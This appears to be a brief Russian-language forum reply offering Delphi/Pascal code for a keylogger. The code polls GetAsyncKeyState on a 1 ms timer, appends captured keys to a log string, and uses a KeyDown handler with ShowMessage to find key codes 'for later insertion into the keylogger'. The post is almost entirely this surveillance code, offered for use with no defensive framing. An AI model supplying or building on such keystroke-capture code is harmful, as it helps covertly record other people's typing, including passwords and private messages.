Боюсь даже представить, солько ты это писал
Зачем все так сложно то? Попробуй вот так: таймер на 1 мс =>
Code
if getasynckeystate(65)=-32767 then log:=log + 'a';
Код нажатой клавиши (для поеледующей вставки в кейлоггер) можно получить так:
Code
form.keydown
showmessage(inttostr(key));